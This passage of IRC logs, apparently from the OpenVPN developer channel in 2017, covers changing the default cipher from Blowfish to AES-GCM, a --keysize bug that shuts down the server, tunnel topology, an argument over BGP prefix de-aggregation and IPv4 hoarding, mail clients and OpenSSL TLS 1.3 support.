more edges 03:52 * dazo ponders if he should have a slight modification to the server unit file in Fedora 03:52 <@dazo> add --cipher AES-128-CBC .... which effectively swaps out BF as being the default 03:52 <@dazo> I wonder how many setups I would break :-P 03:53 <@cron2> everything with a 2.3 client :( 03:53 <@dazo> yeah, could add --ncp-cipher with BF for a while too, though 03:53 <@cron2> it's not even save to add to a client conf, unless you know the server is 2.4 with NCP 03:53 <@cron2> right 03:53 <@syzzer> dazo: that will only restore 2.4-servers 03:54 <@syzzer> clients don't do 'poor man's NCP', right? hm, now I start to wonder... 03:54 <@dazo> well, for Fedora ... it is only 2.4 which is relevant on the server side 03:54 <@syzzer> ah, wait *server* unit file 03:54 <@dazo> yeah! 03:54 <@syzzer> yeah, that will work 03:55 <@syzzer> I that case, pick AES-256-GCM as the default, rather than AES-128-CBC 03:55 <@syzzer> if we switch defaults, we should switch to AEAD 03:55 <@dazo> I'm thinking of 2.3 clients, though ... but could have the AES-CBC in --ncp-ciphers though 03:56 <@dazo> as well as BF for a while 03:56 <@syzzer> AES-CBC has never been a default cipher 03:56 <@syzzer> let's introduce that 03:56 <@syzzer> *not* 03:56 <@cron2> yeah, you want BF and AES-CBC in there, for "old old 2.3 clients", "2.3 clients with --cipher AES-CBC", and "2.4 clients will go to GCM" 03:56 <@dazo> exactly 03:57 <@syzzer> hm, people who used AES-CBC did so manually, so I don't see why we should change our defaults for that 03:58 <@dazo> if they have 2.3 clients with BF today, migrating to AES will be very simple and easy for them 03:58 <@syzzer> they should just continue specifying --cipher AES-x-CBC, and the world keeps working 03:59 <@dazo> I'm just preparing the ground so that we can really kill BF asap 04:00 <@dazo> If this works with Fedora Rawhide (which then hits Fedora 27 late this year) ... then we can do the same in the unit file we ship, which then would hit Debian/Ubuntu, RHEL/EPEL, Arch and Gentoo (and probably a few more) 04:01 <@dazo> eworm: ^^^ any thoughts? 04:02 < eworm> hey dazo 04:02 <@dazo> hey :) 04:03 < eworm> Did not follow the discussion... What is about to change? 04:03 <@dazo> Scroll back to 10:43:40 :) 04:03 < eworm> about adding --cipher AES-128-CBC ? 04:04 <@dazo> yeah ... well probably more reasonable to have AES-GCM, with --ncp-ciphers containing BF and AES-CBC 04:05 < eworm> if client and server are 2.4.x we use cipher negotiation anyway, no? 04:05 <@dazo> right 04:05 <@dazo> so that will move to AES-GCM automatically 04:05 < eworm> So does this break old client without any cipher option? 04:05 <@dazo> it should not, due to --ncp-ciphers containing BF 04:06 <@dazo> unless someone have deployed --keysize (and using default BF --cipher) 04:07 <@dazo> I don't think NCP accounts for that scenario ... right, syzzer? 04:07 <@syzzer> dazo: no, --keysize is not negotiated 04:08 <@dazo> I hope that --keysize is not widely used though .... as BF defaults to 256 bits, iirc 04:08 <@syzzer> 128 04:08 <@dazo> ahh, right 04:11 <@syzzer> poor man's NCP actually works both ways 04:12 < eworm> but cipher list defaults to "AES-256-GCM:AES-128-GCM", no? 04:12 <@syzzer> so we could just change the default to AES-256-GCM, and add BF-CBC to --ncp-ciphers - that's mostly a cosmetical change but does allow us to change the defult 04:12 <@syzzer> eworm: correct 04:13 < eworm> so we have to add --ncp-ciphers to the server unit file or add BF-CBC to the defaults? 04:15 <@syzzer> change --ncp-ciphers to AES-256-GCM:AES-128-GCM:BF-CBC and add --cipher AES-256-GCM 04:15 <@syzzer> (but make sure the user can still override that) 04:15 <@cron2> I'd add AES-*-CBC so 2.3 clients that know what they do can move to AES while they wait for their vendor to upgrade to openvpn 2.4 04:15 <@cron2> (like, routers...) 04:15 < eworm> fine with me as long as existing setups to not break 04:16 <@syzzer> ^^ this needs to be verified carefully 04:17 < CRCinAU> so here's a question..... 04:17 < CRCinAU> IP addressing of openvpn.... 04:17 <@dazo> yeah ... hence I'm willing to try this in Fedora Rawhide, which not too many runs (but some) ... and we will hear even more when F-27 hits alpha/beta releases 04:18 < CRCinAU> is it normal for it to be a /30 assigned to a single VPN? 04:18 <@syzzer> CRCinAU: switch to --topology subnet 04:18 < CRCinAU> well, I was wondering if that's correct or not 04:18 <@dazo> yeah, that's the net30 topology which is the default 04:19 < CRCinAU> does it function just as well with a single IP? 04:19 <@syzzer> cron2, dazo: I can see the advantage of adding AES-*-CBC, but we need to think carefully what we promise / communicate about what we support in the long term 04:19 < CRCinAU> after all - technically it doesn't need a broadcast / network IP 04:19 <@dazo> syzzer: agreed 04:20 <@dazo> syzzer: perhaps add a time line for how long we will have both BF and AES-CBC listed in --ncp-ciphers .... tied to OpenVPN releases or so 04:20 <@cron2> CRCinAU: but not all client OSes understand that. Like, Windows in particular, which sees "the tap adapter" as an ethernet... 04:21 < CRCinAU> just reading here: https://community.openvpn.net/openvpn/wiki/Topology 04:21 <@vpnHelper> Title: Topology – OpenVPN Community (at community.openvpn.net) 04:21 < CRCinAU> something I didn't even think of before 04:22 < CRCinAU> I'm not sure I quite understand the 'subnet' option. 04:22 < CRCinAU> "The traditional network and broadcast IPs should not be used;" 04:22 < CRCinAU> does that mean no client can use them as a client IP? 04:23 <@cron2> subnet means subnet - the server will tell all clients "here's a subnet, I use .1, you can have .34" 04:23 <@cron2> while net30 is "a separate /30 per client" 04:23 < CRCinAU> yup - I get that part. 04:24 < CRCinAU> so its really saying that, say 192.168.0.255/255.255.255.0 won't work? 04:24 <@cron2> on some OSes it will, on others it will not, but I do not think this is an interesting problem to find out and document 04:24 < CRCinAU> heh 04:25 < CRCinAU> so in a nutshell, p2p doesn't work even on Windows 10? 04:25 < CRCinAU> ie that info is still current? 04:25 <@cron2> nobody tested, p2p is documented to not work 04:26 <@cron2> (and since tap is an *ethernet*, it's very likely do do exactly that: not work) 04:26 < CRCinAU> can Windows not use 'tun' mode? 04:26 < CRCinAU> I'm ignorant of never using openvpn with Windows, so I know nothing about it lol 04:27 < Thermi> Nope 04:27 <@cron2> it does, but *Windows* does not know it's a tun, because that's emulated by the tap driver (adding/removing mac headers as they come) 04:27 < Thermi> Windows has no TUN or TAP implementation whatsoever 04:27 < CRCinAU> ahh ok 04:27 < Thermi> The TAP driver emulates an ethernet device 04:27 <@cron2> win10 allegedly has a VPN API for C# apps... that might be more tun like, but we're neither an app nor C#, so we cannot use it anyway 04:28 < CRCinAU> I mean, it doesn't really matter to me - as a /30 is meh out of a /24 allocated... 04:28 < CRCinAU> but I was curious as to the reasons why - as I initially thought it was strange. 04:28 < CRCinAU> kinda makes sense now. 04:28 <@cron2> net30 and p2p is meh, subnet is what you want :) 04:28 < CRCinAU> hahah - you want me to find more bugs, right? ;) 04:28 <@cron2> (subnet is effectively very similar to p2p, just adding a subnet route) 04:29 <@syzzer> cron2: we probably can use the UWP API for a desktop app (not for a 'real' W10 app) 04:29 < CRCinAU> so using 'subnet', Windows gets the entire /24 and configures it as such? 04:29 <@cron2> CRCinAU: this is old code with too many options that we can't remove because people come screaming about "YOU BROKE MY SETUP!"... so you'll find plenty of funky stuff which is there because of special operating system need etc. 04:29 <@syzzer> but it's more like the android API than like a tun driver 04:29 <@dazo> CRCinAU: correct 04:30 < CRCinAU> cool. 04:30 < CRCinAU> knowledge++ :P 04:30 <@cron2> all clients are told "the subnet is on the tun", but since the tun is "everything sent out there goes to the server", it really boils down to "it's point to point and routing hacks wrapped around" 04:31 < CRCinAU> *nods* 04:32 < CRCinAU> it really doesn't matter for my max 2 clients setup ;) 04:32 < CRCinAU> but hey - I have a /24 for IPv4 and /64 for IPv6 just for my VPN lol 04:32 < CRCinAU> a little bit of simple tricks and I could use a public IP /24 - but I'm lazy lol 04:33 < CRCinAU> CBF reconfiguring the RIP advertisements lol 04:33 <@cron2> you can run the server with a public /29... enough for two clients 04:34 < CRCinAU> still means I have to bring the /24 down to my home.... that's why I'm too lazy lol 04:35 < CRCinAU> my RIP feed goes into a BGP feed - so anything less than a /24 never propagates to the rest of the world 04:36 < CRCinAU> I advertise 8 x /24s as its better if some tosspot DDoS on an IP, I can drop that from the global routing table without taking down the entire /21 04:37 <@cron2> thanks for 7 unneccessary but expensive TCAM slots used in my routers 04:38 <@cron2> half the current IPv4 routing table of 700k prefixes is unaggregated shit like that, which is causing people to shell out real money in big sacks to buy new routers with larger routing table TCAM 04:39 < CRCinAU> yep ;) 04:40 <@cron2> unless you're a router vendor, this is not really something to smile about 04:40 < CRCinAU> eh - if we fixed DDoS vectors at a higher priority, it wouldn't be standard. 04:41 <@cron2> there will always be enough machines that can just directly send packets your way to flood your links, so that is a lame excuse for global routing table pollution 04:42 < CRCinAU> tell me that when you're on the other end of a several Gbit DDoS :P 04:43 <@cron2> especially the "always pollute, in case..." part is what annoys me about it - announcing a particular /24 to sink the traffic upstream (RTBH) *or* announce the 7x /24 and withdraw the /21 when the DDoS is coming in will eat resources when needed, not all the time 04:43 <@cron2> CRCinAU: we regularily see incoming DoSes up to ~20 Gbit, so I sort of understand the issue 04:43 <@cron2> and we do not deaggregate our prefixes into about 650 extra /24s 04:44 < CRCinAU> so, the reality is though, *nobody* seems to have that capacity in Australia. 04:44 < CRCinAU> a 20Gbit DDoS would take down half of the east coast of Oz.... 04:45 < CRCinAU> When I ran a gaming network many years ago, a single DDoS took down both my /24 (which I dropped), and the two states of my upstream 04:45 <@cron2> we filter small-scale DoSes at the edge, and if the volume is too high, we send a particular /32 or /24 with "please null-route this in your network" to our upstreams (NTT, etc.) who will then filter it "far out" 04:46 <@cron2> BGP-based remote blackholing is what you want - because it works down to a single /32 (plus, you need upstreams that understand RTBH, but all globals do today) 04:46 < CRCinAU> that assumes cooperation between vendors, which doesn't really happen here. 04:46 < CRCinAU> everyone built their own towers and sticks to them in the major players. 04:47 <@cron2> your upstream should have a large interest in stopping DDoSes as far out as possible 04:47 < CRCinAU> standard practice here is just kill the destination. 04:47 < CRCinAU> I'm not sure that is really worthwhile, but eh. 04:48 <@cron2> which is what you do with RTBH, but for a single host - and that's what you do if you drop the /24 route 04:48 <@cron2> the difference is "how much impact does it have while there is no DDoS ongoing" 04:49 < CRCinAU> Do you want me to make you even angrier? :P 04:49 < CRCinAU> I only actually use one of the /24s... 04:49 < CRCinAU> the other 7 exist in announcing only. 04:50 < CRCinAU> new rules came in over here that IPs not advertised globally for 2 years (I think) will be reclaimed by the issuing body. 04:51 < CRCinAU> so, risk losing 8 x fee free /24 subnets.... or advertise them all.... hmmmm 04:51 * cron2 sighs deeply - and this, kids, is why the Internet exploded 04:51 < CRCinAU> this block goes that far back that there's no fees at all for me having them 04:52 <@cron2> selfishness, greed, and "why should I care for everyone else" 04:52 < CRCinAU> I ain't going to give that shit up ;) 04:52 < CRCinAU> they wanted me to pay $15kAUD a year to set up reverse DNS for me. 04:52 < CRCinAU> cos I had to sign a new agreement. 04:52 < CRCinAU> "Ummm, no thanks". 04:52 < CRCinAU> I can live without that. 04:53 < CRCinAU> Historical Allocations Policy ftw. 04:53 < CRCinAU> if I don't sign a new agreement, they're free for life. 04:55 < CRCinAU> greed isn't by the holder of the IPs... its in the policies that were introduced. 04:55 <@syzzer> CRCinAU: tried to ignore this, but, you do realize how selfish this is, right? 04:56 * syzzer really hopes you're just trolling 04:56 < CRCinAU> not at all. 04:56 < CRCinAU> why would I give back a /21 that is 100% fee free for life, to agree to pay $15k every year for the rights to have them? 04:58 < CRCinAU> I actually want to try and find a co-operative upstream that allows us to use 4 x /24s to use in a public wifi network 04:58 < CRCinAU> but that hasn't materialised as yet :\ 04:59 < CRCinAU> ie: http://melbournewireless.org.au/maps/ 04:59 <@vpnHelper> Title: Melbourne Wireless / maps / (at melbournewireless.org.au) 05:01 < Thermi> Because other people need it, ffs. 05:02 < CRCinAU> by people, you mean telcos. 05:02 < CRCinAU> don't HP still sit on their /8 ? 05:02 < Thermi> No, persons or companies that need a public IP 05:02 < CRCinAU> Apple has a /8 05:03 < CRCinAU> but tell me how selfish I am ;) 05:03 < CRCinAU> hell, Ford has a /8 05:03 < Thermi> Wrongdoing of other people does not justify your own wrongdoing. 05:04 < CRCinAU> eh. 05:04 < CRCinAU> hell, USPS has a /8 05:04 < CRCinAU> ah - HP actually as 2 x /8 allocations 05:04 < Thermi> Your bike's gotta get an /8, if you keep doing that </joke> 05:05 < CRCinAU> point being, a /21 makes no difference at all. 05:06 < Thermi> That's 2048 addresses. I think it makes a difference. 05:06 < CRCinAU> but stupid policies were put in place that makes it not worth handing it back. 05:07 < CRCinAU> Thermi: man, 2048 addresses does nothing. 05:08 < CRCinAU> tell me, could Apple justify having 16,777,216 addresses? 05:09 < Thermi> They're a big company. Talk to them about how many of the addresses they actually use 05:09 < Thermi> Or scan their subnet. 05:09 < CRCinAU> could HP justify 33,554,432 addresses? 05:10 < Thermi> What kind of stupid discussion is this? It obviously depends on how many you need. There's no justification for taking more than that other than to cover future growth, which there will be near zero for IPv4 space 05:10 < CRCinAU> point is, they wouldn't do shit about it - because they've got them, and nobody else does. 05:10 < CRCinAU> its a policy failure. 05:10 < CRCinAU> I considered handing in all but a /23 05:11 < CRCinAU> yet it would cost me $6k annually to have a /23 under the new agreement 05:11 < CRCinAU> how is that worth my while? 05:12 < Thermi> What kind of problems you get/have with contracts with third party does not pertain the ethics of it 05:12 < CRCinAU> that's directly with the RIR 05:12 < Thermi> Try negotiating with them or something 05:12 < CRCinAU> they are the guys making the policy. 05:12 < CRCinAU> they don't negotiate. 05:12 < Thermi> Hell, that's your problem, really. Nobody says doing the right thing is easy or the easiest 05:13 < CRCinAU> so I can hand them all back, get a warm fuzzy feeling that I helped an RIR make more money selling them again 05:14 < Thermi> Maybe escalate the issue or something. You're more familiar with this topic than me 05:14 < CRCinAU> I could pay more fees to them for the right to have part of what I have now for free 05:14 < Thermi> I'm don't do any business with registries 05:14 < CRCinAU> or I could just hang on to what I've got. 05:14 < CRCinAU> Thermi: think yourself lucky lol 05:14 < Thermi> I got other things to worry about 05:15 < Thermi> Every day working this job is a torture 05:15 <@cron2> we do business with RIPE NCC (of course) and their fees are very reasonable if you run a business - like, 1500 US$/year, no matter how big or small 05:15 < CRCinAU> anyway - I went through the process to see what I could do with them - and everything cost me several thousand bucks a year... 05:15 < CRCinAU> cron2: that doesn't even cover the membership fee to APNIC 05:16 <@cron2> how's the US$ to AU$ ratio? 05:16 < CRCinAU> that'd be about $2300 here? 05:17 * cron2 wonders why APNIC is so expensive then 05:17 < CRCinAU> ah - sorry 05:17 < CRCinAU> 1974.46 Australian Dollar 05:17 <@cron2> operating costs and number of members should be similar 05:17 < CRCinAU> they charge you $500AUD to be a memeber with no resources 05:19 < CRCinAU> here we go 05:19 < CRCinAU> AUD 2,350 to hold the /21 05:20 < CRCinAU> then it seems to be a AUD 1,050 yearly member fee as well 05:20 < CRCinAU> extra again if you want an AS number 05:20 <@syzzer> I get that argument, and agree the policy is ridiculous, but, "11:41 <CRCinAU> new rules came in over here that IPs not advertised globally for 2 years (I think) will be reclaimed by the issuing body." shouldn't that allow you to fix this in two years an not pollute cron2's routing tables in the mean time? 05:21 < CRCinAU> syzzer: will 8 entries make a difference to a the entire situation? 05:22 < CRCinAU> well, it'd be 7 different entries lol 05:22 <@cron2> given that there is about 350k of deaggregates, that school of thought seems to make a difference, yes 05:22 <@syzzer> "let's not vote, my vote doesn't make a difference anyway"... 05:22 < CRCinAU> so you reduce the 350,000 by 7. 05:29 < CRCinAU> well. that's intesting. 05:30 < CRCinAU> just for shits and gigs, I changed it to the /21 - now % Network not in table 05:40 < CRCinAU> well - there you go... changing to a /21 breaks the world and doesn't work lol 09:45 <@cron2> argh... AIX... 10:12 < CRCinAU> cron2: just for shits and gigs, I tried changing the 8 x /24 to a single /21 and it seems it gets dropped upstream. 10:12 < CRCinAU> how fun. 10:14 <@cron2> no route: objects? 10:15 < CRCinAU> not present in network 10:15 < CRCinAU> ie everything disappears lol 10:15 <@cron2> if the upstream provider has a filter because you have not registered the /21 as to-be-announced in whatever database he uses to *build* the filters, that is typically summarized as "no route: objects?" 10:16 < CRCinAU> dunno - I upstream it via RIP for my ISP to aggregate everything 10:16 < CRCinAU> so it could be them, or it could be further up than them 10:26 <@plaisthos> cron2: to be fair router vendor could auto aggreate these entries when going from routing table to FIB 10:27 <@plaisthos> it is even quite simple to do 10:28 < CRCinAU> plaisthos: but that means R&D! 10:28 < CRCinAU> that's not profitable! 10:29 <@plaisthos> they already do a lot of magic there 10:29 < CRCinAU> I dunno - I'm not convinced cisco has done any magic in decades :\ 10:29 <@plaisthos> :) 10:29 <@plaisthos> not for normal router entries 10:29 <@plaisthos> for acls 10:30 <@plaisthos> you know that there is some rewriting etc. involved when acl stopp fitting after an update 10:30 <@plaisthos> or more/less tcam space before/after an update 10:45 <@cron2> plaisthos: true, auto-aggregation would help quite a bit (... so people can be even more careless, because "the router will aggregate anyway?") - it won't help convergence times and RAM usage for BGP, though 10:52 < CRCinAU> tell me though - if you can't handle the route space in ipv4, can it handle ipv6? 11:07 <@ordex> is ther any doc explaining th format of the hard-reset packet ? 11:08 <@ordex> from the code I thought there was no payload at all 11:08 <@ordex> but apparently there is something 11:08 <@ordex> mh 11:08 <@ordex> maybe it is the reliable thing 11:09 <@ordex> ah right 11:09 <@ordex> PSID and pid 11:17 <@plaisthos> cron2: yes 11:41 <@cron2> CRCinAU: v6 is at about 40k prefixes right now - quite a bit of difference from 700k in IPv4 11:41 <@cron2> http://www.space.net/~gert/RIPE/weekly/2017/26/ 11:41 <@vpnHelper> Title: Weekly IPv6 Routing Table Stats (at www.space.net) 11:42 <@cron2> (and about half of that is more specifics...) 11:56 <@plaisthos> cron2: that is already a lot 11:57 <@plaisthos> a lot of places don't use ipv6 12:05 <@cron2> plaisthos: right... hard to quantify that exactly - I have "routes" and "ASes with v4 / ASes with v6" in there, but even "AS has v6" doesn't say anything whether their web sites etc. actually have v6 12:07 < CRCinAU> seems a lot of /48 networks 12:08 < CRCinAU> I expect we'll just see the same problem. 12:09 < CRCinAU> anyhow - its 3am and time for sleep. 12:18 <@cron2> of course we'll see the same problems, only worse. There's lots of /48 that can be deaggregated out of a /32 14:05 <@dazo> Hmm ... we must have a little braindead mistake in the Changes.rst for v2.4 .... the CRL note is under "Deprecated features" 14:09 <@cron2> Changes.rst needs work, both in master and in 2.4 - I focused on 2.4.x but didn't check the "2.4" section... 14:17 <@dazo> I just sent a patch for master 14:18 <@dazo> will try to apply it on release/2.4, and see how it explodes ... if it requires a v2.4 patch, I'll send that too 14:19 <@dazo> (that was not an issue at all ... was easily cherry-pickable) 14:22 <@dazo> hmmm .... that iffy feeling when compilation on brand new code completes a bit too easily .... 14:23 <@cron2> yeah 14:32 <@cron2> bah, bugtrackers 14:33 <@cron2> $colleagues went from trac to redmine to youtrack, and the quality and usefulness of the mails the system sends goes down every time 14:33 <@cron2> at least for heavy-duty mail users using a text MUA... 14:34 <@dazo> hmmm ... that should be configurable, no? ... or maybe someone didn't apply the text/plain templates .... 14:35 <@cron2> oh, it is sending text/plain just fine, they just look like shit 14:35 <@cron2> Feature was updated by Markus Roghani in project TTT at 23 Jun 2017 16:59. 14:35 <@dazo> ahh ... so untested text/plain templates 14:35 <@cron2> < https://youtrack.space.net/issue/TTT-260 >TTT-260< https://youtrack.space.net 14:35 <@cron2> +/issue/TTT-260 > Angabemöglichkeit für $query{target} in "ttt add" Created by 14:35 <@cron2> +you 14:35 <@cron2> Resolved Issue was resolved. 14:35 <@cron2> State In Progress ??? Fixed 14:35 <@dazo> heh 14:35 <@cron2> "nobody cares for" templates... 14:36 <@dazo> unfortunately .... as long as it looks good in gmail ..... </sarcasm> 14:36 <@cron2> it wouldn't annoy me half as much if they were not coming from systems with nicer mails, so obviously it *can* be done 14:37 <@dazo> yeah ... hence my snarky "looks good in gmail" comment 14:37 <@cron2> yeah 14:37 <@cron2> gmail is nice, I use it for stuff where I want my watch to buzz and show me the mail... like, tunnelblick announcements 14:38 <@dazo> gmail itself is probably not too bad .... but I don't trust Googles peeking in my mails 14:38 <@cron2> but that's "less than 5 mails a day" while mutt handles 1000+ on days with lots of activity, so that needs to be well structured and easy to see everything relevant in one glance 14:38 <@dazo> yeah 14:39 <@dazo> well, unless it has improved ... gmails imap support is ... well, extremely odd 14:40 <@dazo> I'm hosting my own Zimbra server ... with an extension to provide ActiveSync support ... if the webmail would have had threaded list view and a functional PGP integration, I'd probably switch from Thunderbird to its webmail ages ago 14:41 <@cron2> PGP and threads, absolutely necessary 14:41 <@dazo> yeah 14:41 <@dazo> There's a guy working on the PGP support ... but last time I tested it, it didn't work too well ... but there's hope :) 16:05 * plaisthos just found an old patch from jan 2017 in his tree 16:10 <@plaisthos> I am not sure why I never send it to the ML 20:01 <@ordex> aloha 20:18 < CRCinAU> dazo: Zimbra?!? that's something I haven't heard in a while :P 20:19 < CRCinAU> but tell it like it is... gmail imap sucks dick..... 20:19 < CRCinAU> there's a lot of quirks that make it not work as expected a lot of the time 20:20 < CRCinAU> but at work, I use gmail imap 20:20 < CRCinAU> mainly because although it sucks, its better than the web interface 20:20 < CRCinAU> oh, and I use kmail... it supports sieve, gpg, threading etc etc 20:21 < CRCinAU> but it sometimes trips up on gmail imap due to said knob gobbling of their IMAP implementation 20:21 < CRCinAU> but its somewhat easy to fix 20:22 <@ordex> mutt all the way! 20:22 <@ordex> good morning 20:23 < CRCinAU> mornin ;) 20:23 < CRCinAU> mutt is..... eh. 20:23 < CRCinAU> I see the appeal, especially if you use ssh to get to it.... 20:23 < CRCinAU> but still... eh.... 20:24 < CRCinAU> especially with attachment handling etc.... 20:24 < CRCinAU> inline attachments ftw ;) 20:30 <@ordex> mah I find it pretty convenient 20:31 <@ordex> attachment are just opened by hitting [enter] (and only when *I* want to see them) 22:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Thu Jun 29 2017 06:06 <@cron2> syzzer: I am confused about openssl versions and TLS 1.3... 06:06 <@cron2> so where is TLS 1.3 included? openssl 1.2? how's the API different then again? 06:17 <@syzzer> TLS 1.3 is not even standardized yet 06:18 <@syzzer> but it will be implemented in OpenSSL 1.1, iirc 06:18 <@syzzer> there is a new 'zero round trip API', where one can send data already in the very first packet a client sends to a server 06:19 <@syzzer> it's a separate API, but sending data in that packet has some caveates security-wise 06:19 <@syzzer> ie, we will not do that 06:19 <@syzzer> s/but/because/ 06:21 <@dazo> CRCinAU: Zimbra's IMAP support is very good, I do the mail filtering (sieve script under the hood actually) server side .... plus it can also be an IMAP client, and those IMAP folders gets re-exported too 06:22 < slypknot> talking --keysize 128 & cipher negotiation .. see -users (i was thinking of replying but I'll leave it for someone who knows the answer and not just the problem) 06:23 <@dazo> CRCinAU: but I'm looking forward for the new UI .... (the current one is quite good in normal browsers, but the new one looks even better) ... https://blog.zimbra.com/2017/03/zimbra-universal-ui-public-beta/ 06:24 <@dazo> (and with caldav/carddav in addition to activesync .... what more can you wish for? :)) 06:31 <@dazo> slypknot: I think that is just a confused openvpn server due to an invalid CCD option .... interesting way to explode though 06:35 < slypknot> dazo are you sure: EVP_CIPHER_CTX_set_key_length:invalid key length 06:39 < slypknot> --keysize 128 in the config + cipher negotiates to AES-256-GCM .. is that not exactly what you guys were discussing the other day re --keysize spec'd in a conf ? 06:40 <@dazo> --keysize is normally ignored unless the cipher parses the keysize option 06:41 <@dazo> I know the option parser will now stop running on invalid options ... and "Exiting due to fatal error" is the typical issue in that regards 06:42 <@dazo> so when I see "RTNETLINK answers: No such process" before the "EVP_CIPHER_CTX_set_key_length:invalid key length" error, it looks like the shutdown have already started 06:42 <@dazo> I might be wrong, but I think this is exactly which can happen on invalid options now 06:42 < slypknot> ok .. so the actual problem is the CCD file .. I'll test something later on .. I was just curious .. cheerz ;) 06:42 <@dazo> some testing on this would be good indeed 06:43 < slypknot> np 06:44 <@dazo> (that said, I don't think we should go FATAL on invalid CCD options .... but that will require quite some changes in the option parser) 06:45 < slypknot> I haven't tested *that* recently .. but I know it was basically ignored before .. but I know you also made /improvements/ to the op-parser .. I'll do a couple of tests 06:46 < slypknot> as I recall .. if ops in the CCD were invalid then the client connect was dropped ? 06:53 < slypknot> dazo: quick test .. invalid ops in CCD are ignored in 2.5_git 06:54 < slypknot> client connects ok 06:54 < slypknot> I really think the problem is the --keysize 07:10 < slypknot> dazo: confirmed .. --keysize 128 + cipher negotiation .. *KAPOW* .. server dies 07:11 < slypknot> OpenSSL: error:0607A082:digital envelope routines:EVP_CIPHER_CTX_set_key_length:invalid key lengthinvalid key length 07:14 < slypknot> only happens *after* client tries to connect 07:16 < slypknot> sam for --keysize 512 .. size mismatch srv/cli and OSSL invalid key length 07:16 < slypknot> same* 07:21 < slypknot> --show-ciphers 07:22 < slypknot> quote: The default key size is shown as well as whether or not it can be changed with the --keysize directive. 07:22 < slypknot> but it does not show that any more .. 07:24 < slypknot> unless the "by default" implies they can be changed with --keysize .. in which case all --keysize'able ciphers are deprecated 07:24 < slypknot> maybe it's time to deprecate --keysize ? 07:26 <@syzzer> ^^ yes, I think it's time to decrecate --keysize :) 07:29 * slypknot does the victory dance ;) 07:32 <@ordex> < slypknot> dazo: confirmed .. --keysize 128 + cipher negotiation .. *KAPOW* .. server dies <<< server dies ?! 07:32 < slypknot> yep 07:33 < slypknot> server shuts down 07:33 <@ordex> and keysize is configured on the client or server ? 07:33 < slypknot> on the server 07:33 <@ordex> ah ok 07:33 < slypknot> did not test for client 07:33 <@ordex> I thought you found a way to kill the server by simply configuring the client in a certain way :P 07:34 <@ordex> that would be baaad :D 07:34 < slypknot> oof .. no .. i think that would have lit up the IRC, ML and forum ! 07:34 <@syzzer> no, this is 'incompatible --keysize in CCD 07:35 < slypknot> syzzer: not ccd .. just server.conf 07:35 <@syzzer> so the server crashed once that client connects, but the client can not trigger the crash 07:35 <@ordex> yeah 07:35 <@syzzer> oh, ok. I think you can crash it too from CCD 07:35 < slypknot> possibly .. did not check .. i was reading the -users mail and copying that 07:38 < slypknot> syzzer: keysize cannot be used in CCD contect .. 07:38 < slypknot> server 2.5_git 07:39 < slypknot> client can still connect even though that error is present on the server 07:41 < slypknot> *if* --keysize is in CCD client can connect .. if --keysize in server.conf .. server dies (using cipher negotiation) 07:43 < slypknot> oh .. same server setup with --ncp-disable .. total loss of connectivity (but I would expect that) 07:44 < slypknot> ahh .. maybe have to restart client aswell 07:48 < slypknot> reset client as well is fine .. but who is gonna go --ncp-disable on a live server in the middle of the day ;) 07:55 < slypknot> on the client: kill -1 $pid is not the same as systemctl restart openvpn-client ! 07:55 <@syzzer> we can fix this - I've marked the mail for follow-up and will get back to it later 07:55 <@syzzer> need to do $dayjob stuff first (and pubquiz tonight ;-) ) 07:59 < slypknot> I think you already know that: (client) --ping-restart does *not* reset the cipher from the negotiated cipher to the config cipher 08:03 <@syzzer> slypknot: that depends, whether you use persist-key ;-) 08:03 <@syzzer> but yeah, I know 08:04 <@syzzer> will probably only be fixed in 2.5+, because fixing that will cause more behavioural changes... :( 08:09 <@plaisthos> syzzer: can't we use keysize as deprecated modifier to cipher? 08:09 <@plaisthos> the number of ciphers that actually support keysize is small right? 08:10 <@plaisthos> e.g. transform keysize 192 an cipher bf into cipher bf-192 08:11 <@syzzer> plaisthos: we should just deprecate BF together with keysize :-P 08:11 <@plaisthos> syzzer: :) 08:12 <@syzzer> I think it's the only variable-keysize cipher that we really support 08:12 <@plaisthos> we probably should a cut sometime anyhow 08:12 <@plaisthos> and introduce config-ver 2 08:12 <@plaisthos> or something like that 08:12 <@plaisthos> that sets a lot of the options to saner defaults than we have now 08:13 < slypknot> syzzer: thanks but I don't use persist-* on clients (unless there is a really good reason and I have not found one yet) 08:13 <@syzzer> slypknot: the good reason is that it enables you to use --user and --group :) 08:14 < slypknot> ah yes ;) 08:14 < slypknot> but i don't 08:44 <@dazo> slypknot: now, that is quite an interesting bug 08:45 <@dazo> I'd never expected that to happen 08:52 < slypknot> dazo cron2: WRT #906, when I reported that first version it was here: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg00113.html 08:52 <@vpnHelper> Title: [Openvpn-devel] 2.3.12 vs git-master with cipher negotiation (at www.mail-archive.com) 08:53 < slypknot> I am wondering if a specific trac should be created for all those related errors ? 09:34 <@cron2> slypknot: well, as it's the same error, just reference the mail from the trac, and all is good :-) 09:36 <@cron2> syzzer: returning to OpenSSL 1.1/1.2 - I've been told that there is new stuff for HTTP/2 and QUIC which needs "features in openssl 1.2" (some sort of application-layer protocol negotiatioon extention in the SSL handshake (ALPN) and that you need OpenSSL 1.2 for that... does that ring a bell? 09:36 * cron2 is confused and tries to sort out bits of information 09:37 * ordex pulls his hair 09:47 <@syzzer> cron2: openssl 1.1.0 is the newest we have, openssl 1.1.1 will support TLS 1.3 09:48 <@syzzer> I'm not very familiar with HTTP/2 or QUIC, so am not really sure what features this is referring to, but I expect that it's about the 'custom extensions' 09:49 <@syzzer> that's where the application can add it's own extensions to the TLS handshake, which should allow faster connection setup 09:51 <@cron2> no, this is something different - the client can connect to port 443, negotiate SSL, and send a flag "oh, I do want HTTP/2, not HTTP/1" so the extra roundtrip time inside the SSL connection "hey, apache, I want HTTP/2" - "OK" - "here's my HTTP/2 request!" can be saved 09:52 <@cron2> ALPN is the official acrony 09:52 <@cron2> m 09:52 <@syzzer> that does sounds like the custom extension - one that advertises HTTP/2 support 09:53 <@cron2> well, some sort of standardized custom extension, so I've been told (= Apache can only do HTTP/2 if you have the latest OpenSSL which supports signalling this to apache) 09:54 <@cron2> but this is a bit of hearsay, and I'm trying to complete the picture in my head 09:54 <@syzzer> ah, right ALPN is a standardized one, that could be implemented by a custom extension too 09:54 <@syzzer> but ALPN is available since OpenSSL 1.0.2 09:54 <@cron2> wtf 09:56 <@syzzer> yeah, WTF accurately descibes TLS 09:59 <@ordex> lol 10:30 * 